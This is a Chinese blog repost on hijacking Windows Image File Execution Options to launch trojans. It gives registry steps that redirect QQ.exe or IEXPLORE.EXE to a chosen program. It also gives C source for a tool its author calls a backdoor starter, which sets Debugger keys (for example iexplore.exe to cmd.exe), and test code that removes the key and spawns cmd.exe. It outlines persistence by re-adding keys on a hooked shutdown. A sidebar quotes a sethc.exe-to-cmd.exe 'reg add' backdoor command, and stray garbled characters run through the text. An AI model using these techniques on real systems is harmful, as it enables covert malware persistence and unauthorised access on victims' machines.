一个不常用的小技巧

Vrep/CoppeliaSim:常用小技巧和常见问题解答 本文介绍了Vrep/CoppeliaSim中的常用小技巧,并解决了一些常见问题。 阅读详情

前几天我看了一篇技术文章,是讲述一种病毒的感染运行机制。原文中提到了一个木 <?
马启动的新的思路。(文章是两年前的,唉,看来我们要学的东西好多阿)也许某些 ~
高手已经会了,但是很多人也不知道。我整理出来,结合我自己的试验,给大家简单7

介绍一下。作为一个小教程,本文不涉及程序方面的知识,菜鸟老鸟都能看明白的。
暂时我们只针对XP和2000系统。其他的系统我没测试过,不敢乱说!


一般大家机器里都会有QQ吧,我们就用QQ来做试验!!
?

直接在开始菜单里找到运行栏,输入regedit,打开注册表编辑器。找到 

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options]
驘? 
(给菜鸟的话:是先找到HKEY_LOCAL_MACHINE项再找到SOFTWARE项再找 

Microsoft…………最后找到Image File Execution Options) 

在Image File Execution Options的下面你点新建一个项,取名为QQ.exe。然后再选 
中这个QQ.exe,在
 它的右边的空白栏新建一个字符串值,取名为Debugger。然后双击打开,输入
? 
c:/windows/NOTEPAD.EXE
 

(给菜鸟的话:NOTEPAD.EXE就是我们系统里的记事本程序,win2000应该在winnt ? 
目录下)
 
 
好了。咱们找出QQ!我的QQ装在D盘里,我直接双击打开QQ.exe。嘿嘿!看见了
 
没,直接打开了记事本程 飠哦p韙l  
序(其实是调用记事本来打开这个exe文件)。嘿嘿。不管你把QQ装哪个盘都是一  
样。等于是把QQ禁用了。
 
槀齿廕b  
  

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Image File Execution Options]
j*  
  
其实这个地方是NT系统的一个执行重定向,重定向执行系统中其他执行文件,如果该
 
路径不存在,原文 ?件不受影响,正常打开,但是如果路径存在,原文件就会按照指定的执行文件方式打开! 
 
一些病毒和木马就是用这样的方法进行传播运行的了,比如刚才我们输入的c:/windows/NOTEPAD.EXE,
  
如果把它改成木马或者病毒的路径呢??嘿嘿!再把那个QQ.exe改成
A
IEXPLORE.EXE。这样的话,只要你 } 
一打开IE浏览器,你就会运行木马或者病毒一次。 
 
纯粹就是一个思路,本文涉及的技术是两年前就有人发布出来了,看你怎么利用了。
?

(给菜鸟的话:要想改回来很简单,直接在注册表编辑器下删除那个QQ.exe的项就可以了,或者导出 N 
QQ.exe项为reg文件,在"Debugger"="c://windows//NOTEPAD.EXE"下,修改 o:为"Debugger"=""  
保存后双击导入注册表就可以了,这样的好处方便你随时修改。)

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:L4bm0s

昨天看了
一篇有意思的文章。
我想很多人都看过这文章,说的是利用注册表启动后门,看了一下,觉得有点意思,顺便写了个工具出来。如需转载,请表明作者以及文章出处,谢谢。


Copy code
/****************************************************
*
*    A simple tool to startup our backdoor
*
*    Author  : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*    QQ      : 76137660     
*
*    HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath );
BOOL WINAPI RemoveKeyAndValue( char * KeyName );
void  Usage( char * name );

const char * TargetKeyName = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options" ;


int main(int argc, char* argv[])
{
    if( argc != 3 && argc != 4 )
    {
        Usage( argv[0] );
        return -1;
    }
    if( argc == 3 )
    {
        if( !strcmp( "-r" , argv[1] ) )
        {
            BOOL ret;
            ret = RemoveKeyAndValue( argv[2] );
            if( ret )
            {
                printf( "Remove Key Success!/n" );
                return 0;
            }
            else
            {
                printf( "Remove Key Fail: /n" );
                return -1;
            }
        }
        else
        {
            Usage( argv[0] );
            return -1;
        }
    }
    if( argc == 4 )
    {
        if( !strcmp( "-a" , argv[1] ) )
        {
            BOOL ret;
            ret = SetUpKeyAndValue( argv[2] , argv[3] );
            if( ret )
            {
                printf( "Add Key and Value Success!/n" );
                return 0;
            }
            else
            {
                printf( "Add Key and Value Fail!" );
                return -1;
            }
        }
        else
        {
            Usage( argv[0] );
            return -1;
        }
    }
    return 0;
}

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath )
{
    HKEY hKey;
    HKEY hValueKey;
    LONG ret ;
   
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
   
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx: %d/n" , GetLastError() );
        return FALSE;
    }
    else
    {
        ret = RegCreateKeyEx( hKey ,
                    KeyName ,
                    0 ,
                    NULL ,
                    REG_OPTION_NON_VOLATILE ,
                    KEY_ALL_ACCESS ,
                    NULL ,
                    &hValueKey ,
                    NULL );
    }
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegCreateKeyEx: %d/n" , GetLastError() );
        return FALSE;
    }

    ret = RegSetValueEx( hValueKey ,
                    "Debugger" ,
                    0 ,
                    REG_SZ ,
                    ( BYTE * )ValuePath ,
                    strlen( ValuePath ) );
   
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegSetValueEx(): %d/n" , GetLastError() );
        return FALSE;
    }
    return TRUE;
}
BOOL  WINAPI RemoveKeyAndValue( char * KeyName )
{
    HKEY hKey;
    LONG ret;
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx(): %d/n" , GetLastError() );
        return FALSE;
    }
    ret = RegDeleteKey( hKey , KeyName );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegDeleteKeyEx(): %d/n " , GetLastError() );
        return FALSE;
    }
    return TRUE;
}
void Usage( char * Name )
{
    printf( "/t/t  A simple Tool to Startup our Backdoor/n" );
    printf( "/t/t    Written by L4bm0s<[email]L4bm0s@gmail.com[/email]>/n" );
    printf( "/t/t        [url]Http://my.opera.com/l4bm0s[/url]/n/n" );
    printf( "To add a Key and Value:/n" );
    printf( "Usage: %s -a KeyName ValuePath /n" , Name );
    printf( "Example: %s -a iexplore.exe C://WINDOWS//system32//cmd.exe/n/n" , Name );
    printf( "To remove a Key:/n" );
    printf( "Usage: %s -r KeyName/n" , Name );
    printf( "Example: %s -r iexplore.exe/n/n" , Name );
    printf( "If these is any bug about this tool , please contact me ;)/n" );
    return;
}




其实原理很简单,大家看前面我给的地址的那篇文章就会明白,不过当我们修改了注册表以后,原来的文件就打不开了,所以这样还是不能达到目的,我想到了一个方法,大家看下面的代码:

Copy code
/****************************************************
*
*    Test Code
*
*    Author  : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*    QQ      : 76137660     
*
*    HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

const char * TargetKeyName = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options" ;

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR    lpCmdLine,
                    int      nCmdShow)
{
    HKEY hKey;
    LONG ret;
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx(): %d/n" , GetLastError() );
        return -1;
    }
    ret = RegDeleteKey( hKey , "iexplore.exe" );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegDeleteKeyEx(): %d/n " , GetLastError() );
        return -1;
    }
    STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory( &si , sizeof(si) );
        si.cb = sizeof( si );
        ZeroMemory( &pi , sizeof(pi) );

    char cmdline[] = "cmd.exe";
   
    CreateProcess( NULL ,
                cmdline ,
                NULL ,
                NULL ,
                FALSE ,
                0 ,
                NULL ,
                NULL ,
                &si ,
                &pi );       
    return 0;
}


这篇代码很简陋,直接从前面代码中复制过来修改,测试用的,当它被启动以后,它会修改注册表,把我们往注册表里添面加的子键删除,这样的话,原来的文件又可以用了,聪明的大家现在应该想到怎样利用了吧,就是在编写木马的时候,往木马里面加上删除子键的代码,然后再像ByShell那样HOOK关机消息,当HOOK到关机消息的时候,再往注册表添加子键,这样的话,在正常情况下就能确保我们的后门启动了.

我们可以添加一个iexplore.exe的子键以及一个qq.exe的子键,这样的话,后门被启动的机会就很大了.刚开始的时候,我是想到添加一个explorer.exe的子键的,成功的话,那么每次启动,explorer.exe都会帮我们启动后门,不过经过测试,发现这个方法不可行,有兴趣的朋友可以自己测试一下,这里只是提供一个思路,大家有好的想法可以交流交流;)


那些在游戏建模中,你不知道的ZBrush小技巧和常用快捷键 ZBrush是一款数字雕刻和绘画软件,它以强大的功能和直观的工作流程彻底改变了整个三维行业。当然ZBrush软件中还提供了一系列的常用技巧和快捷键使得该软件操作起来更加的方便快捷,熟练掌握这些小技巧和快捷键,可帮助用户节省大量的操作时间。 1.减去部分已经mask的操作:按住Alt键和Ctrl键加鼠标左键在已经mask的部分拖动鼠标,就可以让mask面积缩小。 2.模糊mask的边缘:按住Ctrl键用鼠标左键在已经mask的部分单击,每单击一次mask的边缘就会更加模糊。 3.切换到透... 阅读详情

相关推荐

52-2 权限维持4 - 启动项注册表键后门

我们可以通过将后门程序添加到系统的启动文件夹或者注册表的运行键来实现权限的持久化。添加后门程序后,它将在用户登录时启动,并且具备与账户关联的权限级别。一、系统启动文件夹将程序放置在启动文件夹中会导致该程序在用户登录时自动执行。Windows 系统通常有两个常见的启动文件夹:# Username 是你登录账号的名称程序放置于此文件夹内将在具体用户登录时启动。位于所有用户的启动文件夹:程序放置于此文件夹内将在所有用户登录时启动。

weixin_43263566的博客 683

内网之权限维持

一,shift后门 方法1:修改注册表-映像劫持 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" 命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE

shy的博客 1169

隐藏账户的建立(注册表中查看不到的后门)

隐藏账户的建立 (在注册表中查看不到的账户的建立) 后门的技巧

权限维持篇

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。本文主要介绍了Linux下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用,欢迎留言分享。在渗透测试中,有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢?

无他,惟手熟尔 1798

修改注册表对付病毒木马后门及黑客

在网络给我们的工作学习带来极大方便的同时,病毒、木马、后门以及黑客程序也严重影响着信息的安全。本文介绍通过修改注册表来对付病毒、木马、后门以及黑客程序,保证个人计算机的安全。

Agentic RAG:RAG从静态到具有理解、推理、决策的Agentic RAG

RAG技术演进:从静态检索到智能代理 RAG(检索增强生成)技术经历了五个关键发展阶段:基础RAG(关键词检索)、高级RAG(语义理解)、模块化RAG(灵活架构)、图RAG(知识图谱)和最新的Agentic RAG(智能代理)。Agentic RAG通过引入自主AI代理,具备反思、规划、工具使用和多代理协作能力,实现了动态决策和自适应工作流。相比传统RAG的静态检索流程,Agentic RAG能处理复杂多步推理任务,通过自我改进机制提高输出质量,并支持多专业代理协作,显著提升了RAG系统在复杂场景下的表现。

2545

应急响应学习

应急响应学习

qq_41672971的博客 1396

麦克斯韦电磁场理论

1)从知识先后上说:麦克斯韦方程组为理解光的传播、反射、折射等现象提供了理论基础。不理解基础,怎么能理解上层建筑。2)从如何学懂上说,把基础学习的越牢,越深刻,后续学习上层建筑就会水到渠成一些,不会越学越多疑问。而是越学越少疑问。

weixin_55255438的博客 2827

每日一个Mac小技巧推荐之你不知道的常用快捷键

今天的Mac小技巧分享我们讲讲快捷键,在日常使用的过程中配合快捷键无疑会提高我们的使用效率,但是快捷键有那么多,不可能记得住,所以今天给各位列举几个你不一定知道,但是一定会使用的快捷键,顺便分享一个能够快速查看快捷键的小方法哦,一定可以帮助到你

Command_A的博客 750

VSCode 搭建C/C++编程环境 2025新版图文安装教程(VSCode安装 + C/C++环境搭建 + 运行测试 + 背景图设置)

100%搭建成功,VSCode 搭建C++编程环境 2025新版图文安装教程(VSCode安装+C++环境搭建+运行测试+背景图设置)

Code_流苏:在代码中寻诗意,在实践中觅真知 2975

ABAP 平台 SOAUTH2_CLIENT 全面实战:用一套配置,打通 OAuth 2.0 客户端的创建、联调与运维

本文是一份ABAP平台上配置OAuth 2.0客户端的全流程指南,重点介绍新界面SOAUTH2_CLIENT的使用方法。内容涵盖从概念解析到实操步骤,包括四种常见授权方式的选择、证书信任管理、Scope配置以及联调技巧。指南通过两个企业级案例(对接SAP BTP Cloud Integration和SAML 2.0身份联合)展示实际应用场景,并提供了配置清单和伪代码示例。特别强调新界面将客户端配置、令牌测试和校验功能整合的工程化优势,以及与旧事务码OA2C_CONFIG的主要差异。文中多处引用SAP官方文档

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 319

你应该需要知道的前端小技巧

本文主要收集一些前端开发中我们可能不常用的开发技巧。如果路过的小伙伴有什么实用的小技巧可以再下方留言,我会将你宝贵的小技巧加在本文的后面,供路过的小伙伴们学习。 1、 清除定时器 就这?不是哟,我其实表达的是批量清除定时器,一般我们会在定时器调用的时候将它赋值给一个变量,然后将在需要清除定时器的时候使用 clearTimeout 或者 clearInterval 就可以清除定时器了。那么如果你想批量清除定时器又该如何清除呢? 其实很简单,小伙伴们在控制台打印一下使用 setTimeout 或者 setInt

BOM485480的博客 317

手把手教你学Simulink——基于新型电力电子拓扑与宽禁带器件的电网系统场景实例:GaN HEMT器件在高频逆变器中的开关特性建模

本文介绍了基于Simulink和Simscape Electrical的GaN HEMT高频逆变器建模方法。通过构建半桥拓扑电路,详细说明了GaN器件参数设置(以EPC2045为例)、专用驱动电路设计(含负压关断和米勒钳位)以及开关瞬态过程仿真(配置1ns步长捕捉MHz级特性)。重点分析了开关损耗计算和寄生导通风险,并对比了GaN与Si MOSFET的性能差异。案例展示了如何优化驱动参数和PCB布局,验证了GaN器件在1MHz高频应用中的优势(开关损耗仅5μJ)。最后总结了GaN在数据中心电源、无线充电等领

MHD0815的博客 405

Qtcreator中常用快捷键和小技巧

===========Qtcreator中常用快捷键总结========================= F1&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;查看帮助 F2&nbsp; &nbsp;&nbsp; &nbsp...

sudo-wang的博客 4万+

手把手教你学simulink实例--基于Simulink的航空航天器飞行轨迹规划与仿真详细介绍

航空航天器飞行轨迹规划是实现高效、安全和精确飞行的关键技术。通过Simulink进行航空航天器飞行轨迹规划与仿真,可以验证控制算法的有效性、优化飞行路径,并降低开发成本。以下是如何在MATLAB和Simulink中设计并仿真一个航空航天器飞行轨迹规划系统的详细步骤。通过上述步骤,我们成功设计并实现了基于Simulink的航空航天器飞行轨迹规划与仿真系统。该系统能够根据实时环境变化动态调整飞行轨迹,从而提高飞行效率、降低燃料消耗并提升安全性。

MHD0815的博客 391

某招标公告网和vcaptcha验证码识别逆向

本文分析了某验证码系统的加密流程及破解思路。首先通过反混淆技术定位到加密函数,拆解了包含指纹函数、环境参数等组成的加密字符串。研究发现验证码生成涉及canvas指纹、环境检测等反爬机制,可通过模拟浏览器环境绕过。验证过程需要解密图片顺序,通过work2.js计算还原图片位置,再结合滑动轨迹、时间等参数生成验证请求。文章仅提供技术研究思路,强调需遵守法律法规,严禁非法破解信息系统。完整流程包括环境模拟、加密参数还原、图片处理和轨迹生成等步骤,成功率较高。

码王吴彦祖的博客 583

Candance常用原理图操作小技巧

Candance常用原理图操作小技巧原理图图纸的编号修改1.自动更新![在这里插入图片描述](https://img-blog.csdnimg.cn/20200813104304387.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2NoZW4xNjU4MTM3NjMy,size_16,color_FFFFFF,t_70#pic_center)2.手

伪NChris的博客 1万+

解锁PyCharm+Deepseek:本地部署AI编程超能力

在本次探索中,我们成功地在 PyCharm 中实现了 DeepSeek 的本地化部署,这一过程虽然涉及多个步骤,但每一步都为我们开启 AI 编程大门奠定了基础。从安装最新版 PyCharm,确保我们拥有一个功能强大且兼容性良好的开发环境,到注册 DeepSeek 账号并获取 API Key,这是连接我们与强大 AI 能力的关键纽带。接着,在 PyCharm 中安装 Continue 插件并进行精细配置,让 DeepSeek 能够深度融入我们的编程流程。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 5550

【Visual Studio 2022】常用快捷键和一些小技巧

VS 2022 快捷键 1、F4,显示属性窗口。 2、F12,转到定义。 3、Shift+Tab,取消制表符。 4、F5,运行调试; Ctrl + F5,运行不调试;Shift+F5,结束调试。 5、Ctrl+E+C,注释选中内容;Ctrl+E+U,取消注释内容。 6、Ctrl+W+X,打开工具箱。 7、Ctrl+E+W,自动换行。 8、Ctrl+M+M,隐藏或展开当前嵌套的折叠状态。 9、Ct

习惯成自然 1万+

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

网页常用小技巧

网页常用小技巧1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu=return(false)><td>no</table> 可用于Table2. <body onselectstart="return false"> 取消选取、防...

weixin_30786617的博客 506

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

windows分屏_用Windows这么多年了,居然你还不知道这些小技巧

我有一些小技巧,能使你的Windows更好用。想学吗?无论是日常上网冲浪还是打游戏,做ppt,查资料我们很多时候都会用到Windows今天,小编给大家分享15个系统小技巧让大家的电脑变得更好用~Part 01桌面及文档处理主题换色日常工作难免加班当环境灯光比较昏暗时电脑的浅色背景总让眼睛不太适应那么,有没有暗色或者黑夜模式可以方便我们晚间工作呢?有!▼更改主题颜色及暗色模式,我们只需要点击「菜单栏...

weixin_39814088的博客 540

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Excel中常用快捷键及小技巧

写在前面 个人总结,仅供参考,不一定全面,不常用的不列举,以后遇到合适的会定期过来补充。 快捷键 Ctrl+C——复制 Ctrl+V——粘贴 Ctrl+Z——撤销 Ctrl+F——查找 Ctrl+G——定位 Alt+Enter——单元格换行 Alt+F11——编辑宏,调出VBE窗口 Alt+拖动形状——贴合窗口放置形状 Ctrl+Shift——切换中英文 Ctrl+Alt+A——QQ截屏 Ctr...

weixin_43636302的博客 1580

你不知道的十个 JS 小技巧

总结了一些开发常用的 JS 小技巧,让你的代码更优雅! 1. 使用 const 定义 在开发中不要过度声明变量,尽量使用表达式和链式调用形式。然后一般能用const就不要用let。这种模式写多了之后,你会发现在项目中几乎找不到几个用let的地方: // bad let result = false; if (userInfo.age > 30) { result = true; } // good const result = userInfo.age > 30;...

uuuyy_的博客 1862

Qt Creator中常用快捷键和小技巧

//////////////////////////////////////////////////////////////////////////// F1 查看帮助 F2 跳转到函数定义(和Ctrl+鼠标左键一样的效果) Shift+F2 声明和定义之间切换 F4 头文件和源文件之间切换 Alt+0 显示或者隐藏侧边条,编辑模...

网瘾少年丶的博客 657

优快云 Blog十大常用小技巧

Blog小技巧之一-用MSN Push你的Blog!                有一种应用于MSN的服务也可以向用户提供这种Push Information的服务。那就是-“MSN Alert”[注:“MessageCast”-信息广播系统[Push Information O.S.],该系统基于实时网络技术和RSS,向用户发布各种定制信息,Blog和自动更新。]提示:每当你的Blog内容更新

关注移动互联网创业-葛涵涛 1万+
上一篇: 汇编实现木马生成技术
下一篇: MFC的逆向工程
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值